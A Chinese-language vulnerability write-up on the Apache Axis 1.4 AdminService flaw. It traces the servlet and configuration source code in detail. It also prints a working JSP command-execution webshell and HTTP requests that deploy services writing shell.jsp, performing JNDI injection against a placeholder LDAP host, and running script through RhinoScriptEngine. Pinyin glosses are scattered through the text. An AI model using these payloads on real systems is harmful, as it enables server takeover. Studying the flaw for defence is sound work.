摘要:安全之漏洞分析安全之漏洞分析前言前言看到個(gè)別代碼常出現(xiàn)里面有一些組件,沒(méi)去仔細(xì)研究過(guò)該漏洞。文件寫入成功重新打開文件發(fā)現(xiàn)內(nèi)容已經(jīng)發(fā)生了變化整理整理請(qǐng)求請(qǐng)求調(diào)用該方式寫文件需要解析,遇到就涼涼。至此再一次佩服漏洞挖掘者。
看到個(gè)別代碼常出現(xiàn)里面有一些Axis組件,沒(méi)去仔細(xì)研究過(guò)該漏洞。研究記錄一下。
漏洞版本:axis=<1.4
下載Axis包1.4版本將Axis放到tomcat的webapp目錄中。freemarker.jar
放到Axis的 lib目錄下。運(yùn)行tomcat即可。
WEB-INF/web.xml
中將該配置取消注釋
AdminServlet /servlet/AdminServlet
原創(chuàng)復(fù)現(xiàn)需要將/WEB-INF
下面的server-config.wsdd
文件中的內(nèi)容進(jìn)行編輯一下
http://xml.apache.org/axis/wsdd/
enableRemoteAdmin
的值改成true運(yùn)行遠(yuǎn)程調(diào)用。
server-config.wsdd
文件會(huì)在遠(yuǎn)程機(jī)器訪問(wèn)/servlet/AdminServlet
路由時(shí)候進(jìn)行創(chuàng)建。
接下來(lái)對(duì)該接口進(jìn)行發(fā)送payload測(cè)試
爆了一個(gè)ns1:Client.NoSOAPAction
錯(cuò)誤。
看了一下AdminServlet
的代碼,發(fā)現(xiàn)dopost
方法里面調(diào)用的getSoapAction
這個(gè)判斷邏輯貌似有點(diǎn)問(wèn)題
上面req.getHeader("SOAPAction");
獲取header里面SOAPAction
的值,如果為空則取Content-Type
里面的action。都為空則直接返回,來(lái)到下面這段邏輯。
if (soapAction == null) { AxisFault af = new AxisFault("Client.NoSOAPAction", Messages.getMessage("noHeader00", "SOAPAction"), null, null); exceptionLog.error(Messages.getMessage("genFault00"), (Throwable)af); throw af; }
這里只需要header加入SOAPAction
參數(shù),填充任意值,讓服務(wù)端獲取到不為空,能解決了這個(gè)問(wèn)題。
使用上面payload,創(chuàng)建好惡意的service后,下面來(lái)調(diào)用一下惡意的service。
/axis/services/RandomService
payload:
<% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>]]>
文件寫入成功
重新打開server-config.wsdd
文件發(fā)現(xiàn)內(nèi)容已經(jīng)發(fā)生了變化
POST請(qǐng)求:
POST /axis/services/AdminService HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 777
GET請(qǐng)求:
GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1Host: 127.0.0.1:8080User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cache
調(diào)用service:
POST /axis/services/randomBBB HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 700 ]]> ?
該方式寫文件需要解析,遇到Springboot就涼涼。
POST請(qǐng)求:
POST /axis/services/AdminService HTTP/1.1Host: 127.0.0.1:8080Connection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0Accept-Language: en-US,en;q=0.5SOAPAction: somethingUpgrade-Insecure-Requests: 1Content-Type: application/xmlAccept-Encoding: gzip, deflateContent-Length: 750
GET請(qǐng)求:
GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1Host: 127.0.0.1:8080User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cache
調(diào)用service:
POST /axis/services/ServiceFactoryService HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 891 -
jndiName ldap://xxx.xx.xx.xxx:8888/Exploit
這個(gè)點(diǎn)需要利用JNDI注入
POST請(qǐng)求:
POST /axis/services/AdminService HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 905
GET請(qǐng)求:
GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1Host: 127.0.0.1:8080User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cache
調(diào)用service:
POST /axis/services/RhinoScriptEngineService HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 866
該方式有JDK版本要求 JDK版本必須要為7或7以下版本。JDK7版本后ScriptEngine
被廢除了,使用了NashornScriptEngine
進(jìn)行代替,NashornScriptEngine
類不能直接被利用
AxisServlet Apache-Axis Servlet org.apache.axis.transport.http.AxisServlet ... AxisServlet /services/*
看到org.apache.axis.transport.http.AxisServlet
public void init() throws ServletException { super.init(); ServletContext context = this.getServletConfig().getServletContext(); isDebug = log.isDebugEnabled(); if (isDebug) { log.debug("In servlet init"); } this.transportName = this.getOption(context, "transport.name", "http"); if (JavaUtils.isTrueExplicitly(this.getOption(context, "use-servlet-security", (String)null))) { this.securityProvider = new ServletSecurityProvider(); } this.enableList = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.enableListQuery", (String)null)); this.jwsClassDir = this.getOption(context, "axis.jws.servletClassDir", (String)null); this.disableServicesList = JavaUtils.isTrue(this.getOption(context, "axis.disableServiceList", "false")); this.servicesPath = this.getOption(context, "axis.servicesPath", "/services/"); if (this.jwsClassDir != null) { if (this.getHomeDir() != null) { this.jwsClassDir = this.getHomeDir() + this.jwsClassDir; } } else { this.jwsClassDir = this.getDefaultJWSClassDir(); } //初始化查詢Handler,即wsdl對(duì)應(yīng)的handler,用于wsdl文件生成 this.initQueryStringHandlers(); try { ServiceAdmin.setEngine(this.getEngine(), context.getServerInfo()); } catch (AxisFault var3) { exceptionLog.info("Exception setting AxisEngine on ServiceAdmin " + var3); } }
把所有以jws結(jié)尾或者services路徑的的URL均由AxisServlet進(jìn)行處理
super.init();
org.apache.axis.transport.http.init
public void init() throws ServletException { ServletContext context = this.getServletConfig().getServletContext(); this.webInfPath = context.getRealPath("/WEB-INF"); this.homeDir = context.getRealPath("/"); isDebug = log.isDebugEnabled(); if (log.isDebugEnabled()) { log.debug("In AxisServletBase init"); } this.isDevelopment = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.development.system", (String)null)); }
org.apache.axis.transport.http.getOption
protected String getOption(ServletContext context, String param, String dephault) { String value = AxisProperties.getProperty(param); if (value == null) { value = this.getInitParameter(param); } if (value == null) { value = context.getInitParameter(param); } try { AxisServer engine = getEngine(this); if (value == null && engine != null) { value = (String)engine.getOption(param); } } catch (AxisFault var6) { } return value != null ? value : dephault; }
org.apache.axis.transport.http.getEngine
public static AxisServer getEngine(HttpServlet servlet) throws AxisFault { AxisServer engine = null; if (isDebug) { log.debug("Enter: getEngine()"); } ServletContext context = servlet.getServletContext(); synchronized(context) { engine = retrieveEngine(servlet); if (engine == null) { Map environment = getEngineEnvironment(servlet); engine = AxisServer.getServer(environment); engine.setName(servlet.getServletName()); storeEngine(servlet, engine); } } if (isDebug) { log.debug("Exit: getEngine()"); } return engine; }
org.apache.axis.transport.http.getEngineEnvironment
從當(dāng)前上下文中獲取AxisServer Engine,如果返回為null,則進(jìn)行初始化并存儲(chǔ)至上下文中
protected static Map getEngineEnvironment(HttpServlet servlet) { Map environment = new HashMap(); String attdir = servlet.getInitParameter("axis.attachments.Directory"); if (attdir != null) { environment.put("axis.attachments.Directory", attdir); } ServletContext context = servlet.getServletContext(); environment.put("servletContext", context); String webInfPath = context.getRealPath("/WEB-INF"); if (webInfPath != null) { environment.put("servlet.realpath", webInfPath + File.separator + "attachments"); } EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig(); if (config != null) { environment.put("engineConfig", config); } return environment; }
這里返回的是一個(gè)org.apache.axis.configuration.EngineConfigurationFactoryServlet
工廠實(shí)例
調(diào)用getServerEngineConfig
來(lái)到org.apache.axis.configuration.getServerEngineConfig
,
EngineConfigurationFactoryFinder.newFactory(servlet)返回org.apache.axis.configuration.EngineConfigurationFactoryServlet工廠實(shí)例,并通過(guò)private static EngineConfiguration getServerEngineConfig(ServletConfig cfg)新建EngineConfiguration實(shí)現(xiàn)類:FileProvider對(duì)象(即server-config.wsdd的文件操作類)
代碼流程回到getEngineEnvironment
protected static Map getEngineEnvironment(HttpServlet servlet) { Map environment = new HashMap(); String attdir = servlet.getInitParameter("axis.attachments.Directory"); if (attdir != null) { environment.put("axis.attachments.Directory", attdir); } ServletContext context = servlet.getServletContext(); environment.put("servletContext", context); String webInfPath = context.getRealPath("/WEB-INF"); if (webInfPath != null) { environment.put("servlet.realpath", webInfPath + File.separator + "attachments"); } EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig(); if (config != null) { environment.put("engineConfig", config); } return environment;}
environment.put("engineConfig", config);
把剛剛讀取server-config.wsdd
的對(duì)象,存儲(chǔ)到map中進(jìn)行返回。
邏輯走到org.apache.axis.transport.http.getEngine
public static AxisServer getEngine(HttpServlet servlet) throws AxisFault { AxisServer engine = null; if (isDebug) { log.debug("Enter: getEngine()"); } ServletContext context = servlet.getServletContext(); synchronized(context) { engine = retrieveEngine(servlet); if (engine == null) { Map environment = getEngineEnvironment(servlet); engine = AxisServer.getServer(environment); engine.setName(servlet.getServletName()); storeEngine(servlet, engine); } }
org.apache.axis.server.AxisServer
public static AxisServer AxisServer(Map environment) throws AxisFault { if (factory == null) { String factoryClassName = AxisProperties.getProperty("axis.ServerFactory"); if (factoryClassName != null) { try { Class factoryClass = ClassUtils.forName(factoryClassName); if ((class$org$apache$axis$server$AxisServerFactory == null ? (class$org$apache$axis$server$AxisServerFactory = class$("org.apache.axis.server.AxisServerFactory")) : class$org$apache$axis$server$AxisServerFactory).isAssignableFrom(factoryClass)) { factory = (AxisServerFactory)factoryClass.newInstance(); } } catch (Exception var3) { log.error(Messages.getMessage("exception00"), var3); } } if (factory == null) { factory = new DefaultAxisServerFactory(); } } return factory.getServer(environment); }
加載到重載getServer
方法
public AxisServer getServer(Map environment) throws AxisFault { log.debug("Enter: DefaultAxisServerFactory::getServer"); AxisServer ret = createServer(environment); if (ret != null) { if (environment != null) { ret.setOptionDefault("attachments.Directory", (String)environment.get("axis.attachments.Directory")); ret.setOptionDefault("attachments.Directory", (String)environment.get("servlet.realpath")); } String attachmentsdir = (String)ret.getOption("attachments.Directory"); if (attachmentsdir != null) { File attdirFile = new File(attachmentsdir); if (!attdirFile.isDirectory()) { attdirFile.mkdirs(); } } } log.debug("Exit: DefaultAxisServerFactory::getServer"); return ret; }
private static AxisServer createServer(Map environment) { EngineConfiguration config = getEngineConfiguration(environment); return config == null ? new AxisServer() : new AxisServer(config); }
public AxisServer(EngineConfiguration config) { super(config); this.running = true; this.setShouldSaveConfig(true); }
org.apache.axis.AxisEngine
public AxisEngine(EngineConfiguration config) { this.config = config; this.init();}
org.apache.axis.AxisEngine
public void init() { if (log.isDebugEnabled()) { log.debug("Enter: AxisEngine::init"); } try { this.config.configureEngine(this); } catch (Exception var2) { throw new InternalException(var2); }
org.apache.axis.configuration.FileProvider
public void configureEngine(AxisEngine engine) throws ConfigurationException { try { if (this.getInputStream() == null) { try { this.setInputStream(new FileInputStream(this.configFile)); } catch (Exception var3) { if (this.searchClasspath) { this.setInputStream(ClassUtils.getResourceAsStream(engine.getClass(), this.filename, true)); } } } if (this.getInputStream() == null) { throw new ConfigurationException(Messages.getMessage("noConfigFile")); } else { WSDDDocument doc = new WSDDDocument(XMLUtils.newDocument(this.getInputStream())); //部署或者取消部署,這個(gè)得看文檔配置 this.deployment = doc.getDeployment(); //定義所有數(shù)據(jù)配置此AxisEngine this.deployment.configureEngine(engine); //刷新內(nèi)容 engine.refreshGlobalOptions(); this.setInputStream((InputStream)null); } } catch (Exception var4) { throw new ConfigurationException(var4); } }
以上這整體解析流程為configureEngine
解析server-config.wsdd
服務(wù)配置。將配置文件中的各種屬性handler
、globalConfiguration
、service
、transport
緩存至WSDDDeployment
類中。刷新global配置選項(xiàng)即將server-config.wsdd
配置文件中g(shù)lobalConfiguration
節(jié)點(diǎn)中的parameter
屬性集合由AxisEngine
持有。
以上就已經(jīng)完成了init的
看到doGet
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { if (isDebug) { log.debug("Enter: doGet()"); } FilterPrintWriter writer = new FilterPrintWriter(response); try { AxisEngine engine = this.getEngine(); ServletContext servletContext = this.getServletConfig().getServletContext(); String pathInfo = request.getPathInfo(); String realpath = servletContext.getRealPath(request.getServletPath()); if (realpath == null) { realpath = request.getServletPath(); } boolean isJWSPage = request.getRequestURI().endsWith(".jws"); if (isJWSPage) { pathInfo = request.getServletPath(); } if (this.processQuery(request, response, writer)) { return; }
獲取請(qǐng)求URI中為jws結(jié)尾的則調(diào)用request.getServletPath();
例如/axis/EchoHeaders.jws?wsdl
使用pathInfo則等于EchoHeaders.jws
然后下面由processQuery
方法來(lái)進(jìn)行解析
上面是一系列的獲取請(qǐng)求路徑,來(lái)直接看到下面代碼,下面代碼進(jìn)行了遍歷
到這里把server-config.wsdd的配置內(nèi)容都給加載了進(jìn)來(lái),下面根據(jù)查詢條件字符串(即wsdl),通過(guò)與server-config.wsdd
中transport
節(jié)點(diǎn)parameter
屬性匹配,查找對(duì)應(yīng)的handler。
繼續(xù)來(lái)看解析流程
看到獲取handler的步驟。因?yàn)檫@里是wsdl
的方式去請(qǐng)求,所以這里獲取到的是QSWSDLHandler
類,下面會(huì)進(jìn)行反射去調(diào)用invoke
方法
public void invoke(MessageContext msgContext) throws AxisFault { this.configureFromContext(msgContext); AxisServer engine = (AxisServer)msgContext.getProperty("transport.http.plugin.engine"); PrintWriter writer = (PrintWriter)msgContext.getProperty("transport.http.plugin.writer"); HttpServletResponse response = (HttpServletResponse)msgContext.getProperty(HTTPConstants.MC_HTTP_SERVLETRESPONSE); try { engine.generateWSDL(msgContext); Document wsdlDoc = (Document)msgContext.getProperty("WSDL"); if (wsdlDoc != null) { try { this.updateSoapAddressLocationURLs(wsdlDoc, msgContext); } catch (RuntimeException var7) { this.log.warn("Failed to update soap:address location URL(s) in WSDL.", var7); } response.setContentType("text/xml; charset=" + XMLUtils.getEncoding().toLowerCase()); this.reportWSDL(wsdlDoc, writer); } else { if (this.log.isDebugEnabled()) { this.log.debug("processWsdlRequest: failed to create WSDL"); } this.reportNoWSDL(response, writer, "noWSDL02", (AxisFault)null); } } catch (AxisFault var8) { if (!var8.getFaultCode().equals(Constants.QNAME_NO_SERVICE_FAULT_CODE)) { throw var8; } this.processAxisFault(var8); response.setStatus(404); this.reportNoWSDL(response, writer, "noWSDL01", var8); }}
這里這一大串代碼則是創(chuàng)建對(duì)應(yīng)得WSDL并且進(jìn)行返回的步驟。
將生成wsdl任務(wù)交給server-config.wsdd所配置的一系列Handler,其執(zhí)行順序?yàn)?br>transport【requestFlow】---->globalConfiguration【requestFlow】---->service【requestFlow】---->service【responseFlow】---->globalConfiguration【responseFlow】---->transport【responseFlow】
針對(duì)jws的服務(wù)通過(guò)JWSHandler處理。
再來(lái)看到j(luò)ws的服務(wù)處理的Handler
org.apache.axis.handlers.JWSHandler
public void invoke(MessageContext msgContext) throws AxisFault { if (log.isDebugEnabled()) { log.debug("Enter: JWSHandler::invoke"); } try { this.setupService(msgContext); } catch (Exception var3) { log.error(Messages.getMessage("exception00"), var3); throw AxisFault.makeFault(var3); } }
以上代碼主要完成將jws轉(zhuǎn)換成java文件,并臨時(shí)存放至jwsClasses目錄中,再通過(guò)jdk中的編譯器sun.tools.javac.Main
、com.sun.tools.javac.main.Main
對(duì)java文件進(jìn)行編譯,將編譯后的class文件存放至jwsClasses目錄中,刪除臨時(shí)java文件,并將生成的class二進(jìn)制文件加載至類加載器中。rpc = new SOAPService(new RPCProvider());
增加Handler實(shí)例RPCProvider(繼承BasicProvider)到當(dāng)前handler鏈中
來(lái)到dopost里面來(lái)看邏輯
前面獲取一些請(qǐng)求路徑和context、Engine等內(nèi)容,在這里就不看了
org.apache.axis.server.AxisServer#invoke
if (hName != null && (h = this.getTransport(hName)) != null && h instanceof SimpleTargetedChain) { transportChain = (SimpleTargetedChain)h; h = transportChain.getRequestHandler(); if (h != null) { h.invoke(msgContext); } }
hName
這個(gè)值為http,this.getTransport(hName)
從server-config.wsdd
獲取值
h.invoke(msgContext);
//循環(huán)訪問(wèn)調(diào)用每個(gè)處理程序的鏈public void invoke(MessageContext msgContext) throws AxisFault { if (log.isDebugEnabled()) { log.debug("Enter: SimpleChain::invoke"); } this.invoked = true; this.doVisiting(msgContext, iVisitor); if (log.isDebugEnabled()) { log.debug("Exit: SimpleChain::invoke"); }}
this.doVisiting(msgContext, iVisitor);
org.apache.axis.SimpleChain#doVisiting
private void doVisiting(MessageContext msgContext, HandlerIterationStrategy visitor) throws AxisFault { int i = 0; try { for(Enumeration enumeration = this.handlers.elements(); enumeration.hasMoreElements(); ++i) { Handler h = (Handler)enumeration.nextElement(); visitor.visit(h, msgContext); } } catch (AxisFault var6) { if (!msgContext.isPropertyTrue(this.CAUGHTFAULT_PROPERTY)) { Message respMsg = new Message(var6); msgContext.setResponseMessage(respMsg); msgContext.setProperty(this.CAUGHTFAULT_PROPERTY, Boolean.TRUE); }
visitor.visit(h, msgContext);
遍歷XML內(nèi)容,調(diào)用method.invoke
到這里則完成service的調(diào)用。
至于這里為什么是MsgProvider
是因?yàn)樵趕erver-config.wsdd中的配置
org.apache.axis.utils.Admin#AdminService
public Element[] AdminService(Element[] xml) throws Exception { log.debug("Enter: Admin::AdminService"); MessageContext msgContext = MessageContext.getCurrentContext(); Document doc = this.process(msgContext, xml[0]); Element[] result = new Element[]{doc.getDocumentElement()}; log.debug("Exit: Admin::AdminService"); return result;}
this.process(msgContext, xml[0]);
來(lái)看這個(gè)地方
public Document process(MessageContext msgContext, Element root) throws Exception { this.verifyHostAllowed(msgContext); String rootNS = root.getNamespaceURI(); AxisEngine engine = msgContext.getAxisEngine(); if (rootNS != null && rootNS.equals("http://xml.apache.org/axis/wsdd/")) { return processWSDD(msgContext, engine, root); } else { throw new Exception(Messages.getMessage("adminServiceNoWSDD")); }}
this.verifyHostAllowed(msgContext);
private void verifyHostAllowed(MessageContext msgContext) throws AxisFault { Handler serviceHandler = msgContext.getService(); if (serviceHandler != null && !JavaUtils.isTrueExplicitly(serviceHandler.getOption("enableRemoteAdmin"))) { String remoteIP = msgContext.getStrProp("remoteaddr"); if (remoteIP != null && !remoteIP.equals("127.0.0.1") && !remoteIP.equals("0:0:0:0:0:0:0:1")) { try { InetAddress myAddr = InetAddress.getLocalHost(); InetAddress remoteAddr = InetAddress.getByName(remoteIP); if (log.isDebugEnabled()) { log.debug("Comparing remote caller " + remoteAddr + " to " + myAddr); } if (!myAddr.equals(remoteAddr)) { log.error(Messages.getMessage("noAdminAccess01", remoteAddr.toString())); throw new AxisFault("Server.Unauthorized", Messages.getMessage("noAdminAccess00"), (String)null, (Element[])null); } } catch (UnknownHostException var6) { throw new AxisFault("Server.UnknownHost", Messages.getMessage("unknownHost00"), (String)null, (Element[])null); } } }}
上面這個(gè)地方獲取了enableRemoteAdmin
的值進(jìn)行判斷這個(gè)enableRemoteAdmin
是否為True,如果不為Ture,則判斷遠(yuǎn)程請(qǐng)求的地址是否為本機(jī)訪問(wèn)。如果都不是則直接拋出異常。
繼續(xù)看到processWSDD(msgContext, engine, root);
位置
engine.saveConfiguration();
public void saveConfiguration() { if (this.shouldSaveConfig) { try { this.config.writeEngineConfig(this); } catch (Exception var2) { log.error(Messages.getMessage("saveConfigFail00"), var2); } } }
org.apache.axis.configuration.FileProvider#writeEngineConfig
這個(gè)地方會(huì)將請(qǐng)求過(guò)來(lái)的xml數(shù)據(jù)寫入到server-config.wsdd
文件里面
而根據(jù)前面的分析得知,調(diào)用和配置service等操作都是由這個(gè)文件來(lái)進(jìn)行獲取的配置信息。那么接下來(lái)的東西就一目了然了。
前面復(fù)現(xiàn)漏洞中發(fā)現(xiàn)payload打完后server-config.wsdd
多了一串配置,往下看
配置了一個(gè)LogHandler
org.apache.axis.handlers.soap.SOAPService#invoke
public void invoke(MessageContext msgContext) throws AxisFault { log.debug("Enter: LogHandler::invoke"); if (!msgContext.getPastPivot()) { this.start = System.currentTimeMillis(); } else { this.logMessages(msgContext); } log.debug("Exit: LogHandler::invoke");}
private void logMessages(MessageContext msgContext) throws AxisFault { try { PrintWriter writer = null; writer = this.getWriter(); Message inMsg = msgContext.getRequestMessage(); Message outMsg = msgContext.getResponseMessage(); writer.println("======================================================="); if (this.start != -1L) { writer.println("= " + Messages.getMessage("elapsed00", "" + (System.currentTimeMillis() - this.start))); } writer.println("= " + Messages.getMessage("inMsg00", inMsg == null ? "null" : inMsg.getSOAPPartAsString())); writer.println("= " + Messages.getMessage("outMsg00", outMsg == null ? "null" : outMsg.getSOAPPartAsString())); writer.println("======================================================="); if (!this.writeToConsole) { writer.close(); } } catch (Exception var5) { log.error(Messages.getMessage("exception00"), var5); throw AxisFault.makeFault(var5); }}
this.getWriter();
private PrintWriter getWriter() throws IOException { PrintWriter writer; if (this.writeToConsole) { writer = new PrintWriter(System.out); } else { if (this.filename == null) { this.filename = "axis.log"; } writer = new PrintWriter(new FileWriter(this.filename, true)); } return writer;}
這里對(duì)this.filename
在前面初始化時(shí)候,我們構(gòu)造了他的數(shù)據(jù)中定義成了../webapps/ROOT/shell.jsp
,讓他寫到跟目錄下。
里面還構(gòu)造了一個(gè)this.writeToConsole=false
的數(shù)據(jù)。
是因?yàn)槲覀冃枰谡{(diào)用的時(shí)候?qū)⒄?qǐng)求的內(nèi)容寫入到log日志中,即../webapps/ROOT/shell.jsp
文件。
看到下面代碼
if (!this.writeToConsole) { writer.close(); }
這里如果為true,會(huì)將這個(gè)文件流給關(guān)閉掉。
Apache Axis1 與 Axis2 WebService 的漏洞利用總結(jié)
漏洞分析篇幅不是很長(zhǎng),整體來(lái)說(shuō)這個(gè)漏洞其實(shí)就是一個(gè)文件任意寫入,但由于這個(gè)組件的一些特性。即通過(guò)server-config.wsdd
來(lái)初始化和配置service,那么就可以寫入一個(gè)惡意的service,到該文件中,進(jìn)行調(diào)用實(shí)現(xiàn)RCE的效果。在復(fù)現(xiàn)漏洞中,發(fā)現(xiàn)需要/servlet/AdminServlet
取消這個(gè)路由的注釋,實(shí)際上在測(cè)試中發(fā)現(xiàn),訪問(wèn)該路由會(huì)自動(dòng)生成server-config.wsdd
文件,我們需要的是該文件。有server-config.wsdd
文件,/servlet/AdminServlet
存不存在就顯得沒(méi)那么重要了。至此再一次佩服漏洞挖掘者。
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://systransis.cn/yun/125369.html
摘要:一句話總結(jié)可以方便我們將數(shù)據(jù)進(jìn)行不同維度的處理。一理解如果你像我一樣,發(fā)現(xiàn)中有這個(gè)參數(shù),但不知道是什么意思。一旦維數(shù)超過(guò)二維,就無(wú)法用簡(jiǎn)單的行和列來(lái)表示了。 showImg(https://segmentfault.com/img/remote/1460000018678067?w=1600&h=900); 前言 只有光頭才能變強(qiáng)。 回顧前面: 從零開始學(xué)TensorFlow【01-...
摘要:微軟的雖然引入了事件機(jī)制,可以在隊(duì)列收到消息時(shí)觸發(fā)事件,通知訂閱者。由微軟作為主要貢獻(xiàn)者的,則對(duì)以及做了進(jìn)一層包裝,并能夠很好地實(shí)現(xiàn)這一模式。 在分布式服務(wù)框架中,一個(gè)最基礎(chǔ)的問(wèn)題就是遠(yuǎn)程服務(wù)是怎么通訊的,在Java領(lǐng)域中有很多可實(shí)現(xiàn)遠(yuǎn)程通訊的技術(shù),例如:RMI、MINA、ESB、Burlap、Hessian、SOAP、EJB和JMS等,這些名詞之間到底是些什么關(guān)系呢,它們背后到底是基...
摘要:微軟的雖然引入了事件機(jī)制,可以在隊(duì)列收到消息時(shí)觸發(fā)事件,通知訂閱者。由微軟作為主要貢獻(xiàn)者的,則對(duì)以及做了進(jìn)一層包裝,并能夠很好地實(shí)現(xiàn)這一模式。 在分布式服務(wù)框架中,一個(gè)最基礎(chǔ)的問(wèn)題就是遠(yuǎn)程服務(wù)是怎么通訊的,在Java領(lǐng)域中有很多可實(shí)現(xiàn)遠(yuǎn)程通訊的技術(shù),例如:RMI、MINA、ESB、Burlap、Hessian、SOAP、EJB和JMS等,這些名詞之間到底是些什么關(guān)系呢,它們背后到底是基...
摘要:前言在數(shù)據(jù)分析和建模之前需要審查數(shù)據(jù)是否滿足數(shù)據(jù)處理應(yīng)用的要求,以及對(duì)數(shù)據(jù)進(jìn)行清洗,轉(zhuǎn)化,合并,重塑等一系列規(guī)整化處理。通過(guò)數(shù)據(jù)信息查看可知數(shù)據(jù)中存在缺失值,比如各存在個(gè),各存在個(gè)。 前言 在數(shù)據(jù)分析和建模之前需要審查數(shù)據(jù)是否滿足數(shù)據(jù)處理應(yīng)用的要求,以及對(duì)數(shù)據(jù)進(jìn)行清洗,轉(zhuǎn)化,合并,重塑等一系列規(guī)整化處理。pandas標(biāo)準(zhǔn)庫(kù)提供了高級(jí)靈活的方法,能夠輕松地將數(shù)據(jù)規(guī)整化為正確的形式,本文通...
閱讀 736·2023-04-25 19:43
閱讀 3981·2021-11-30 14:52
閱讀 3807·2021-11-30 14:52
閱讀 3871·2021-11-29 11:00
閱讀 3802·2021-11-29 11:00
閱讀 3904·2021-11-29 11:00
閱讀 3580·2021-11-29 11:00
閱讀 6183·2021-11-29 11:00